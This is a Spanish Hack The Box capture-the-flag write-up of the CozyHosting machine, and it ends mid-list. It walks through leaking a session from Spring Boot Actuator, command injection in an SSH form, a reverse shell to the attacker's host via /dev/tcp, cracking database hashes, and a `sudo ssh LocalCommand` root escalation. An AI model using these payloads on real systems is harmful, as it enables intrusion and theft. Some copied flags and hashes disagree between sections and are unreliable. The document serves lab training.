



HACK THE BOX · LINUX

CozyHosting

Writeup técnico completo ·
explotación reproducible

Máquina CozyHosting resuelta

HTB CozyHosting · 02 de mayo de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración web, Actuator expuesto, acceso a panel, ejecución como app, pivote a josh y escalada a root con trazabilidad clara y reutilizable
Fecha de resolución	02 de mayo de 2026



Informe técnico normalizado para archivo,
consulta y trazabilidad.

HTB CozyHosting — Informe técnico didáctico

Índice

1. Introducción del caso
2. Resumen ejecutivo técnico
3. Preparación y arranque del laboratorio
4. Enumeración inicial de puertos y servicios
5. Identificación de la superficie dominante
6. Enumeración web base
7. Login, errores de backend y transición hacia Spring Boot
8. Descubrimiento de Spring Boot Actuator
9. Filtrado de sesión y acceso al dashboard
10. Análisis del panel autenticado
11. Validación del flujo `/executessh`
12. Command injection en `username`
13. Confirmación de ejecución remota mediante callback
14. Foothold: shell como usuario `app`
15. Enumeración local y análisis del JAR
16. Credenciales PostgreSQL en `application.properties`
17. Enumeración de PostgreSQL y extracción de hashes
18. Crackeo del hash `bcrypt`
19. Movimiento lateral: acceso SSH como `josh`
20. Escalada de privilegios: abuso de `sudo ssh`
21. Resumen técnico final
22. Lecciones reutilizables

1. Introducción del caso

CozyHosting es una máquina Linux de dificultad easy en la que la cadena de compromiso se apoya en una aplicación web Spring Boot mal expuesta. La resolución no parte de credenciales válidas obtenidas por fuerza bruta ni de un exploit público directo, sino de una mala exposición de endpoints de diagnóstico, una sesión activa filtrada y una funcionalidad autenticada que construye una operación SSH de forma insegura.

El recorrido técnico completo es especialmente útil como caso de estudio porque encadena varias ideas reutilizables:

- reconocimiento inicial con superficie mínima;
- necesidad de resolver un hostname virtual;
- detección de backend dinámico a partir de errores JSON;
- exposición de Spring Boot Actuator;
- reutilización de sesión activa;

- separación entre interfaz visual, petición HTTP real y backend;
- command injection autenticada;
- análisis de un JAR Spring Boot;
- extracción de credenciales de base de datos;
- crackeo offline de bcrypt;
- reutilización de contraseña por SSH;
- abuso de una regla `sudoers` insegura.

La resolución queda documentada con dos niveles: primero, los hechos verificados durante el laboratorio; después, la explicación didáctica que permite entender por qué cada paso era razonable y cómo condicionaba la siguiente fase.

2. Resumen ejecutivo técnico

Cadena de explotación

```
Nmap detecta SSH y HTTP
→ HTTP redirige a cozyhosting.htb
→ se añade el hostname a /etc/hosts
→ la web muestra /login y errores JSON
→ se identifica un backend Spring Boot
→ /actuador queda expuesto
→ /actuador/sessions revela sesión de kanderson
→ se reutiliza JSESSIONID para acceder a /admin
→ el panel muestra formulario POST /executessh
→ username participa en una llamada SSH construida por shell
→ command injection autenticada
→ callback externo confirma ejecución remota
→ reverse shell como app
→ /app contiene cloudhosting-0.0.1.jar
→ application.properties revela credenciales PostgreSQL
→ la base cozyhosting contiene hashes bcrypt
→ se crackea el hash de admin como manchesterunited
→ la contraseña se reutiliza para acceder por SSH como josh
→ sudo -l permite /usr/bin/ssh * como root
→ LocalCommand permite lanzar /bin/bash como root
```

Resultado final

```
Usuario inicial de aplicación: app
Usuario lateral: josh
Usuario final: root
Host: cozyhosting
User flag: d2f307799472b53e63932cfffbae92e2b
Root flag: edba58633595f327570a0c2683f14201
```

Hallazgos principales

Fase	Hallazgo dominante	Impacto
Enumeración inicial	HTTP redirige a <code>cozyhosting.htb</code>	Obliga a trabajar por hostname
Web base	<code>/login</code> real y errores JSON	Indica backend dinámico
Enumeración backend	Spring Boot Actuator expuesto	Revela endpoints, mappings y sesiones
Acceso autenticado	Sesión <code>kanderson</code> filtrada	Permite entrar al dashboard
Panel	Formulario <code>POST /executessh</code>	Entrada controlable hacia backend SSH
Foothold	Command injection en <code>username</code>	Shell como <code>app</code>
Local	Credenciales PostgreSQL en JAR	Acceso a base <code>cozyhosting</code>
Credenciales	Hash bcrypt de <code>admin</code> crackeado	Contraseña <code>manchesterunited</code>
Movimiento lateral	Reutilización en usuario <code>josh</code>	SSH estable
Escalada	<code>sudo /usr/bin/ssh *</code>	Shell root mediante <code>LocalCommand</code>

3. Preparación y arranque del laboratorio

La máquina se inició con el script propio `Inici-HTB`, usado para preparar la estructura de trabajo y lanzar una enumeración inicial controlada. Este script no realiza explotación. Su valor es dejar el caso organizado desde el principio, crear los directorios de trabajo, verificar conectividad y generar evidencias iniciales.

Comando de arranque

```
Inici-HTB CozyHosting 10.129.37.233 easy
```

Estructura de trabajo esperada

```
CozyHosting/  
├── content/  
├── exploits/  
├── nmap/  
│   ├── allPorts  
│   ├── extractPorts.txt  
│   ├── nmap_tcp_services.txt  
│   ├── ping.txt  
│   └── whichSystem.txt  
└── notes/  
    ├── 00_resumen_inicial.md  
    └── 01_siguiete_paso.txt
```

Qué se buscaba en esta fase

La fase de arranque no intenta descubrir la vulnerabilidad principal. Su objetivo es responder a preguntas básicas:

- si el objetivo está vivo;
- qué puertos TCP están abiertos;
- qué servicios y versiones se exponen;
- si hay un hostname o vhost relevante;

- qué superficie parece dominar el caso;
- qué ramas deben quedar como secundarias.

Evidencia observada

El objetivo respondió correctamente a `ping`:

```
1 packets transmitted, 1 received, 0% packet loss
64 bytes from 10.129.37.233: icmp_seq=1 ttl=63
```

La identificación rápida estimó Linux:

```
10.129.37.233 (ttl -> 63): Linux
```

El TTL no debe tratarse como prueba absoluta, pero combinado más adelante con banners Ubuntu refuerza la inferencia de sistema Linux.

4. Enumeración inicial de puertos y servicios

Escaneo completo de puertos

El escaneo completo detectó una superficie muy reducida:

```
22/tcp open  ssh
80/tcp open  http
```

Fingerprint de servicios

El escaneo de servicios identificó:

```
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open  http      nginx 1.18.0 (Ubuntu)
http-title: Did not follow redirect to http://cozyhosting.htb
```

Lectura del resultado

El puerto `22/tcp` queda anotado como SSH disponible, pero sin credenciales no puede ser todavía la rama principal. El puerto `80/tcp`, en cambio, presenta una redirección explícita a un hostname:

```
http://cozyhosting.htb
```

Ese detalle condiciona toda la enumeración posterior: si se accede solo por IP, la aplicación puede responder de forma incompleta o fuera del contexto esperado.

Decisión de fase

```
Superficie dominante: HTTP
Rama principal: WEB-BASE
Rama secundaria: SSH pendiente de credenciales
Siguiente paso único: resolver cozyhosting.htb localmente y enumerar la web por dominio
```

5. Identificación de la superficie dominante

La redirección HTTP hacia `cozyhosting.htb` convierte al hostname en parte de la superficie real. En muchos laboratorios web, el nombre virtual no es decorativo: puede afectar rutas, sesiones, cookies, redirecciones y contenido servido.

Resolución local del hostname

```
sudo sh -c 'echo "10.129.37.233 cozyhosting.htb" >> /etc/hosts'
getent hosts cozyhosting.htb
```

La resolución quedó confirmada:

```
10.129.37.233 cozyhosting.htb
```

En la salida original aparecía duplicado, lo que indica que probablemente se añadió dos veces al fichero `/etc/hosts`. No afectó a la explotación, pero queda como detalle operativo corregible.

Por qué este paso importa

Antes de fuzzear rutas o revisar login, había que garantizar que las herramientas consultaban la aplicación tal y como estaba pensada. Si el servicio HTTP redirige a un dominio, ese dominio debe resolverse localmente para evitar lecturas falsas.

6. Enumeración web base

Cabeceras iniciales

```
curl -sS -I http://cozyhosting.htb
```

La web respondió con `200 OK`:

```
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
```

HTML inicial

```
curl -sS http://cozyhosting.htb | head -n 60
```

Se observó una landing pública:

```
<title>Cozy Hosting - Home</title>
```

El HTML incluía una plantilla Bootstrap llamada FlexStart y un enlace visible a:

```
/login
```

Tecnologías visibles

```
whatweb http://cozyhosting.htb
```

La salida confirmó componentes esperables para una web pública:

```
Bootstrap
HTML5
nginx/1.18.0
Title[Cozy Hosting - Home]
Email[info@cozyhosting.htb]
```

Rutas y referencias extraídas

```
curl -sS http://cozyhosting.htb | grep -oP 'href="\K[^"]+|src="\K[^"]+' | sort -u
```

Entre los enlaces se observó:

```
/login
assets/css/style.css
assets/js/main.js
assets/vendor/bootstrap/...
```

La búsqueda de palabras clave también detectó referencias comerciales a paneles administrativos:

```
Login
admin
administrative dashboard
admin interface
```

Interpretación

Las referencias a “admin interface” dentro de la landing no prueban por sí solas un panel explotable. Pueden ser texto comercial. La señal técnica real es `/login`, porque apunta a un flujo de autenticación concreto.

Error operativo observado

La salida incluyó:

```
curl: (23) Failure writing output to destination
```

Esto no era un fallo del objetivo. Aparece cuando `curl` sigue escribiendo pero `head` ya ha cerrado la tubería. Es un detalle local de terminal y no debe interpretarse como hallazgo de la máquina.

7. Login, errores de backend y transición hacia Spring Boot

Revisión de `/login`

```
curl -sS -I http://cozyhosting.htb/login
curl -sS http://cozyhosting.htb/login | head -n 80
```

La ruta respondió con `200 OK` y mostró un formulario real:

```
<form action="/login" method="post" class="row g-3 needs-validation">
```

Los campos relevantes eran:

```
username
password
remember
```

No se observó un campo CSRF visible en el HTML. Este punto se anotó como característica del formulario, no como vulnerabilidad demostrada.

Revisión de `/error` y rutas inexistentes

```
curl -sS -i http://cozyhosting.htb/error | head -n 80
curl -sS -i http://cozyhosting.htb/noexiste | head -n 80
```

La ruta `/error` devolvió JSON:

```
{"timestamp":"2026-05-02T11:27:57.289+00:00","status":999,"error":"None"}
```

Una ruta inexistente también devolvió un JSON estructurado:

```
{"timestamp":"2026-05-02T11:28:22.877+00:00","status":404,"error":"Not Found","path":"/noexiste"}
```

Lectura didáctica

La aplicación no era una web estática pura servida por nginx. Aunque nginx actuaba como frontal, los errores JSON indicaban que había un backend dinámico procesando rutas y errores. La combinación de formulario POST, cabeceras de seguridad y formato de error con `timestamp`, `status`, `error` y `path` era compatible con una aplicación Java/Spring.

Decisión

```
Rama principal: WEB-BASE, con transición probable a WEB-AUTH / PANEL
Motivo: /login real + errores JSON de backend
Siguiente paso: enumerar rutas backend y endpoints típicos de Spring Boot
```

8. Descubrimiento de Spring Boot Actuator

Fuzzing común

```
ffuf -u http://cozyhosting.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc all -fc 404
```

Rutas relevantes:

```
admin    401
error    500
index    200
login    200
logout   204
```

Fuzzing específico de Spring Boot

```
ffuf -u http://cozyhosting.htb/FUZZ \  
-w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt \  
-mc all -fc 404
```

Endpoints relevantes:

actuator	200
actuator/sessions	200
actuator/env	200
actuator/mappings	200
actuator/health	200
actuator/beans	200

Confirmación del endpoint base

```
curl -sS -i http://cozyhosting.htb/actuator | head -n 80
```

El endpoint devolvió enlaces internos:

```
/actuator/sessions  
/actuator/beans  
/actuator/health  
/actuator/env  
/actuator/mappings
```

El health check confirmó que la aplicación estaba levantada:

```
curl -sS http://cozyhosting.htb/actuator/health
```

```
{"status": "UP"}
```

Interpretación

Spring Boot Actuator es una superficie de diagnóstico. En un despliegue seguro, no debería exponer endpoints sensibles a usuarios anónimos. En este caso, la exposición de `sessions`, `mappings`, `env` y `beans` era el hallazgo dominante: ya no se trataba solo de encontrar rutas, sino de leer información interna del backend.

9. Filtrado de sesión y acceso al dashboard

Enumeración de mappings

```
curl -sS http://cozyhosting.htb/actuator/mappings
```

Entre las rutas internas apareció una especialmente importante:

```
POST /executessh
```

Asociada al handler:

```
htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)
```

También se confirmaron vistas internas:

```
/admin  
/addhost  
/index  
/login
```

Filtrado de sesiones

```
curl -sS http://cozyhosting.htb/actuator/sessions
```

Una de las respuestas observadas fue:

```
{  
  "7973024D4ACF933A79FFF0AC267E833A": "UNAUTHORIZED",  
  "69EF63EAAED85BD239B2A03AFE4B7D29": "kanderson"  
}
```

La sesión marcada como `UNAUTHORIZED` no era útil. La relevante era la asociada a:

```
kanderson
```

Validación por terminal

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' | head -n 120
```

La respuesta fue `200 OK` y mostró el dashboard:

```
<title>Dashboard - Cozy Cloud</title>  
<span class="d-none d-md-block ps-2">K. Anderson</span>
```

Acceso desde navegador

Más adelante, la sesión inicial caducó y hubo que obtener una nueva mediante `/actuator/sessions`:

```
{  
  "C42BC31D847B65FA25FE4A4AB541318E": "UNAUTHORIZED",  
  "1129638E080FFCADC2EDD2B617160C46": "UNAUTHORIZED",  
  "405F6C1B7D933B6BE1F873BBB79023ED": "UNAUTHORIZED",  
  "45CE26F0AAE9695F22A16A62957B9B9B": "kanderson"  
}
```

La cookie válida se verificó por terminal:

```
curl -sS -i http://cozyhosting.htb/admin \  
-H 'Cookie: JSESSIONID=45CE26F0AAE9695F22A16A62957B9B9B' | head -n 20
```

El código esperado era:

```
HTTP/1.1 200
```

Para entrar en el navegador, se borró la cookie `JSESSIONID` existente desde:

```
Herramientas de desarrollo → Almacenamiento → Cookies → http://cozyhosting.htb
```

Y se creó una nueva:

```
Nombre: JSESSIONID
Valor: 45CE26F0AAE9695F22A16A62957B9B9B
Dominio: cozyhosting.htb
Ruta: /
```

Después se navegó directamente a:

```
http://cozyhosting.htb/admin
```

No se debía pulsar Login ni introducir credenciales: el acceso dependía de reutilizar la sesión filtrada.

Lección de esta fase

El punto clave no era “tener un nombre de usuario”, sino una sesión activa válida. `kanderson` como texto no abría el panel; el valor de `JSESSIONID` asociado a `kanderson` sí permitía acceder al dashboard.

10. Análisis del panel autenticado

Tras acceder a `/admin`, se guardó el HTML completo para análisis local:

```
mkdir -p loot
curl -sS http://cozyhosting.htb/admin \
  -H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
  -o loot/admin_kanderson.html
```

Evidencia observada

El panel mostraba:

```
Dashboard - Cozy Cloud
K. Anderson
Admin Dashboard
Keep your hosts patched!
```

La sección relevante era:

```
Include host into automatic patching
```

El HTML contenía:

```
<form action="/executessh" method="post">
<input name="host" class="form-control" id="host" placeholder="example.com">
<input name="username" class="form-control" id="username" placeholder="user">
```

El propio panel explicaba que Cozy Scanner intentaba conectarse al host del cliente usando una clave privada:

```
For Cozy Scanner to connect the private key that you received upon registration should be included in your
host's .ssh/authorised_keys file.
```

Interpretación

La interfaz visual, la petición real y el backend quedaban conectados:

```
Dashboard autenticado
→ formulario "Include host into automatic patching"
→ POST /executessh
→ ComplianceService#executeOverSsh
→ operación SSH desde el servidor
```

Este paso era esencial. No bastaba con saber que `/executessh` existía en `mappings`; había que observar cómo se invocaba desde el panel y qué parámetros controlaba el usuario.

11. Validación del flujo `/executessh`

Antes de probar caracteres especiales, se validó el comportamiento normal del formulario con entradas benignas.

Prueba con localhost

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=test' \
-o loot/executessh_test_127001.txt
```

Resultado clave:

```
Location: http://cozyhosting.htb/admin?error=Host key verification failed.
```

Prueba con dominio externo

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'host=example.com' \
--data-urlencode 'username=test' \
-o loot/executessh_test_example.txt
```

Resultado clave:

```
Location: http://cozyhosting.htb/admin?error=ssh: Could not resolve hostname example.com: Temporary failure in
name resolution
```

Qué demuestra esta diferencia

El backend no estaba devolviendo un error genérico de formulario. Los errores eran compatibles con una ejecución real del cliente SSH:

- `127.0.0.1` resolvía y llegaba a la fase de verificación de clave de host;
- `example.com` fallaba en resolución DNS desde el servidor.

Por tanto, el parámetro `host` llegaba a una operación SSH real.

Validación de restricciones de entrada

Se probaron entradas para entender qué validaba la aplicación:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=invalid host' \  
--data-urlencode 'username=test'
```

Resultado:

```
Invalid hostname!
```

Con espacio en `username`:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test user'
```

Resultado:

```
Username can't contain whitespaces!
```

Lectura

El campo `host` tenía una validación de formato. El campo `username` bloqueaba espacios literales, pero seguía siendo interesante porque participaba en la construcción de la operación SSH.

12. Command injection en `username`

Pruebas con caracteres especiales

Se probó `username=test;`:

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;'
```

Resultado relevante:

```
/bin/bash: line 1: @127.0.0.1: command not found
```

Se probó también `username=test|`:

```
/bin/bash: line 1: @127.0.0.1: command not found
```

La aparición de `/bin/bash: line 1` confirmó que el valor de `username` llegaba a una shell del sistema. El backend no estaba invocando SSH de forma segura con argumentos separados; estaba construyendo una cadena interpretada por shell.

Comprensión de la posición del parámetro

Al probar:

```
username=test;id
```

la respuesta fue:

```
/bin/bash: line 1: id@127.0.0.1: command not found
```

La salida no era la de `id`, porque el comando inyectado quedaba contaminado por el sufijo `@host`. Esto permitió inferir que la aplicación construía algo similar a:

```
ssh <username>@<host>
```

Al inyectar en `username`, todo lo que se añade queda antes de `@127.0.0.1` si no se corta el resto de la línea.

Uso de comentario para neutralizar el sufijo

Se probó:

```
username=test;id;#
```

El error relacionado con `@127.0.0.1` desapareció. Esto confirmó que `#` actuaba como comentario de shell y cortaba el resto de la línea.

Lección técnica

En command injection no basta con comprobar que un separador funciona. Hay que entender dónde cae exactamente el parámetro dentro del comando final. Aquí la inyección era real, pero el sufijo `@host` afectaba a los comandos si no se neutralizaba.

13. Confirmación de ejecución remota mediante callback

Como la salida de comandos no siempre se reflejaba de forma limpia en la respuesta HTTP, se validó la ejecución con un callback externo.

Obtener IP de la interfaz VPN

```
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
```

Resultado:

```
10.10.15.26
```

Terminal 1: servidor HTTP

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Petición de prueba

```
curl -sS -i -X POST http://cozyhosting.htb/executessh \  
-H 'Cookie: JSESSIONID=69EF63EAAED85BD239B2A03AFE4B7D29' \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'host=127.0.0.1' \  
--data-urlencode 'username=test;curl${IFS}http://10.10.15.26:7000;#' \  
-o loot/executessh_callback_curl.txt
```

Señal de éxito

En el servidor HTTP local se recibió:

```
10.129.37.233 - - [02/May/2026 16:56:55] "GET / HTTP/1.1" 200 -
```

La IP 10.129.37.233 era la víctima. Eso confirmó que la máquina objetivo inició una conexión saliente hacia el servidor controlado por el operador.

Por qué \${IFS} era necesario

La aplicación bloqueaba espacios literales en `username`. `${IFS}` permite introducir separación interpretable por shell sin usar un espacio literal. Esa sustitución fue clave para construir comandos con argumentos.

14. Foothold: shell como usuario app

Preparación de `rev.sh`

En el mismo directorio usado para el servidor HTTP se preparó el fichero `rev.sh`:

```
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.15.26/4444 0>&1' > rev.sh  
chmod +x rev.sh
```

Terminal 1: servidor HTTP

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting  
python3 -m http.server 7000
```

Terminal 2: listener

```
nc -lvnp 4444
```

Navegador: formulario autenticado

En el panel:

```
http://cozyhosting.htb/admin
```

En la sección:

```
Include host into automatic patching
```

Se rellenó:

```
Hostname: 127.0.0.1
Username: payload preparado para descargar y ejecutar rev.sh
```

El payload se introdujo únicamente en el campo `Username` del formulario web. No debía ejecutarse en una terminal local ni escribirse en el listener.

Error operativo evitado

Si el servidor HTTP muestra:

```
GET /rev.sh HTTP/1.1" 404 -
```

significa que `rev.sh` no está en el directorio desde el que se levantó `python3 -m http.server 7000`. Es un error local, no del objetivo.

Recepción de shell

El listener recibió:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.37.233] 48724
sh: 0: can't access tty; job control turned off
```

La shell se validó con:

```
whoami
hostname
ls
```

Resultado:

```
app
cozyhosting
cloudhosting-0.0.1.jar
```

Confirmación del contexto

El origen `10.129.37.233` y el resultado `whoami=app`, `hostname=cozyhosting` confirmaban que la shell era de la máquina objetivo.

Un error anterior produjo una conexión desde la propia IP atacante y mostró `whoami=r4mon`, `hostname=parrot`. Ese caso no era una shell válida de CozyHosting, sino una ejecución local accidental.

15. Enumeración local y análisis del JAR

Mejorar mínimamente la shell

```
script /dev/null -c bash
export TERM=xterm
```

Confirmación de contexto

```
pwd
ls -la
ls -lh cloudhosting-0.0.1.jar
```

Resultado:

```
/app  
-rw-r--r-- 1 root root 58M Aug 11 2023 cloudhosting-0.0.1.jar
```

Extracción del JAR

```
mkdir -p /tmp/cozy_jar  
unzip -q cloudhosting-0.0.1.jar -d /tmp/cozy_jar
```

La primera vez se cometió un error de escritura (`nzip`), corregido inmediatamente con `unzip`.

Estructura relevante

```
find /tmp/cozy_jar -maxdepth 3 -type f | sort | head -n 80
```

Apareció:

```
/tmp/cozy_jar/B00T-INF/classes/application.properties  
/tmp/cozy_jar/B00T-INF/lib/postgresql-42.5.1.jar  
/tmp/cozy_jar/B00T-INF/lib/spring-boot-3.0.2.jar  
/tmp/cozy_jar/B00T-INF/lib/spring-boot-actuator-3.0.2.jar
```

Buscar ficheros de configuración

```
find /tmp/cozy_jar -type f \( -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "*.xml" \) -print
```

Resultado:

```
/tmp/cozy_jar/B00T-INF/classes/application.properties  
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.xml  
/tmp/cozy_jar/META-INF/maven/htb.cloudhosting/cloudhosting/pom.properties
```

Lección sobre búsquedas demasiado amplias

El comando:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|user|secret|token|key' /tmp/cozy_jar 2>/dev/null
```

producía demasiada salida porque recorría también `/tmp/cozy_jar/B00T-INF/lib/`, donde hay librerías con muchas cadenas coincidentes. La forma más útil era acotar a:

```
grep -RniE 'spring.datasource|jdbc|postgres|password|username|secret|token|key' \  
/tmp/cozy_jar/B00T-INF/classes 2>/dev/null
```

16. Credenciales PostgreSQL en `application.properties`

Revisión del fichero

```
cat /tmp/cozy_jar/B00T-INF/classes/application.properties
```

Contenido relevante:

```
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
```

Hechos verificados

```
Base de datos: cozyhosting
Host: localhost
Puerto: 5432
Usuario: postgres
Contraseña: Vg&nvzAQ7XxR
```

Interpretación

El JAR no era solo un artefacto de despliegue; contenía configuración sensible. En aplicaciones Spring Boot, `application.properties` es un objetivo prioritario tras obtener shell porque suele almacenar parámetros de conexión, endpoints expuestos y secretos operativos.

Este hallazgo cambió la rama activa hacia credenciales y base de datos local.

17. Enumeración de PostgreSQL y extracción de hashes

Conexión no interactiva

Para evitar problemas con el paginador de `psql` en una shell inestable, se usaron consultas no interactivas con el paginador desactivado.

```
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c '\dt'
```

Resultado:

```
List of relations
Schema | Name | Type | Owner
-----+-----+-----+-----
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
```

Consulta de usuarios

```
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -U postgres -d cozyhosting -P pager=off -c 'SELECT * FROM users;'
```

Resultado:

```
name | password | role
-----+-----+-----
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWxpj1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm | Admin
(2 rows)
```

Lectura del resultado

El formato `$2a$10$...` corresponde a bcrypt. El usuario `admin` era el candidato prioritario por tener rol `Admin` dentro de la aplicación.

La contraseña de `admin` de aplicación no debía asumirse automáticamente como contraseña de sistema. Primero había que crackear el hash y luego comprobar si la contraseña estaba reutilizada por algún usuario local real.

18. Crackeo del hash bcrypt

Preparación del hash

En la máquina atacante:

```
cd /home/r4mon/pentest/targets/HTB/easy/CozyHosting/exploits  
  
cat > admin_hash.txt << 'EOF'  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
EOF
```

Crackeo con Hashcat

```
hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt
```

Resultado relevante:

```
Status: Cracked  
Hash.Mode: 3200 (bcrypt $2*$, Blowfish (Unix))  
$2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm:manchesterunited
```

Resultado de credenciales

```
Usuario de aplicación: admin  
Hash: $2a$10$SpKYdHLB0F0aT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm  
Contraseña: manchesterunited
```

Interpretación

El crackeo transformó un secreto de aplicación en una contraseña en claro. El siguiente paso correcto era buscar usuarios locales reales y comprobar reutilización, no intentar iniciar sesión por SSH como `admin` sin evidencia de que ese usuario existiera en Linux.

19. Movimiento lateral: acceso SSH como `josh`

Revisión de usuarios locales

Desde la shell como `app`:

```
cat /etc/passwd | grep -E '/bin/bash|/bin/sh'
```

Usuarios relevantes:

```
root:x:0:0:root:/root:/bin/bash
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
```

El usuario local `josh` era un candidato real para probar reutilización de la contraseña crackeada.

Acceso SSH

Desde la máquina atacante:

```
ssh josh@10.129.37.233
```

Contraseña usada:

```
manchesterunited
```

El acceso fue satisfactorio. El contexto quedó validado:

```
whoami
id
hostname
pwd
```

Resultado:

```
josh
uid=1003(josh) gid=1003(josh) groups=1003(josh)
cozyhosting
/home/josh
```

User flag

```
cat /home/josh/user.txt
```

Resultado:

```
d2f307799472b53e63932cffbae92e2b
```

Lectura didáctica

Este paso demuestra por qué hay que probar reutilización entre superficies. El hash pertenecía a un usuario de aplicación llamado `admin`, pero la contraseña resultante funcionó para un usuario local distinto: `josh`.

20. Escalada de privilegios: abuso de `sudo` `ssh`

Revisión de permisos `sudo`

```
sudo -l
```

Resultado:

```
User josh may run the following commands on localhost:  
(root) /usr/bin/ssh *
```

Interpretación

La línea:

```
(root) /usr/bin/ssh *
```

significa que `josh` puede ejecutar `/usr/bin/ssh` como `root` y con argumentos arbitrarios. Esto es peligroso porque `ssh` no solo abre conexiones: también permite opciones de cliente que ejecutan comandos locales después de establecer una conexión.

La opción relevante es:

```
LocalCommand
```

Para que se ejecute, debe habilitarse:

```
PermitLocalCommand=yes
```

Al ejecutar el cliente SSH mediante `sudo`, el comando definido en `LocalCommand` hereda el contexto de `root`.

Comando de escalada

```
sudo /usr/bin/ssh -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1
```

Se aceptó la huella SSH de `127.0.0.1` y se introdujo la contraseña de `josh`.

Validación de root

```
whoami  
id  
hostname  
pwd
```

Resultado:

```
root  
uid=0(root) gid=0(root) groups=0(root)  
cozyhosting  
/home/josh
```

Root flag

```
cat /root/root.txt
```

Resultado:

```
edba58633595f327570a0c2683f14201
```

Lectura didáctica

La escalada no dependió de una vulnerabilidad de kernel ni de un binario SUID clásico. El problema estaba en una regla `sudoers` demasiado permisiva. Permitir `ssh` como root con argumentos arbitrarios habilitó el abuso de una función legítima del cliente SSH.

21. Resumen técnico final

1. Se valida conectividad contra 10.129.37.233.
2. Nmap descubre únicamente SSH y HTTP.
3. HTTP redirige a cozyhosting.htb.
4. Se resuelve cozyhosting.htb en `/etc/hosts`.
5. La landing muestra `/login`.
6. `/error` y rutas inexistentes devuelven JSON de backend.
7. Fuzzing descubre endpoints Spring Boot Actuator.
8. `/actuator/mappings` revela `/executessh`.
9. `/actuator/sessions` filtra una sesión de kanderson.
10. Se reutiliza `JSESSIONID` para acceder al dashboard.
11. El panel muestra formulario de parcheo automático.
12. El formulario envía host y username a `/executessh`.
13. Las pruebas benignas confirman operación SSH real desde backend.
14. Caracteres especiales en username provocan errores de `/bin/bash`.
15. Se confirma command injection.
16. Un callback HTTP saliente desde 10.129.37.233 confirma ejecución remota.
17. Se obtiene shell como app.
18. En `/app` se localiza `cloudhosting-0.0.1.jar`.
19. `application.properties` expone credenciales PostgreSQL.
20. La base cozyhosting contiene hashes bcrypt.
21. El hash de admin se crackea como manchesterunited.
22. La contraseña se reutiliza por SSH como josh.
23. `sudo -l` permite `/usr/bin/ssh *` como root.
24. `LocalCommand` permite obtener shell root.

Flags

```
user.txt: d2f307799472b53e63932cfffbae92e2b
root.txt: edba58633595f327570a0c2683f14201
```

22. Lecciones reutilizables

1. Un hostname puede ser parte esencial de la superficie

